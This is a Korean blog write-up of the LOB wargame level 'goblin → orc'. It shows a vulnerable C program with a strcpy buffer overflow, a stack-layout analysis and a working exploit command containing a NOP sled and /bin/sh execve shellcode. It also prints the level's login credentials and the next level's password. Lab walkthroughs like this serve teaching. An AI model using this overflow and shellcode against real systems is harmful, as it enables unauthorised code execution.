시스템 해킹/LOB

[LOB] goblin → orc

ruming 2021. 2. 21. 21:07

goblin / hackers proof 로 로그인

 

파일 확인

 

orc.c

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

egg hunter는 memset()함수를 이용해 환경 변수를 없앤다. 환경 변수는 사용할 수 없다. 그리고 리턴주소의 첫바이트가 0xbf여야 한다. 

 

gdb로 살펴보겠다.

main+3에서 dummy값이 없다는 사실을 알 수 있다. 

스택상황

i buffer SFP RET
4byte 40byte 4byte 4byte

 

main+194 지점에 브레이크포인트를 걸어 조건에 맞게 실행시켜보았다.

nop를 충분히 채우기 위해 RET 뒤에 nop를 채우고 쉘코드를 채울것이다.

dummy(40) + RET뒤의 주소(4) + nop(10000) + shellcode 로 공격할 것이다.

 

bffffb84를 선택해 ret에 넣어주었다.

./orc `python -c 'print "\x90"*44+"\x84\xfb\xff\xbf"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

공격에 성공했다!

cantata

더보기

여러 방법으로 시도했는데 자꾸 실패해서 왜 그런가 했더니 bash2를 안해서 그런거였다... 위 방법은 core를 분석해 nop 영역의 주소 중 한 곳을 찾아 공격한 것이다.

 

 

 

'시스템 해킹 > LOB' 카테고리의 다른 글

[LOB] wolfman → darkelf  (0) 2021.02.22
[LOB] orc → wolfman  (0) 2021.02.21
[LOB] cobolt → goblin  (0) 2021.02.20
[LOB] gremlin → cobolt  (0) 2021.02.20
[LOB] gate → gremlin  (0) 2021.02.09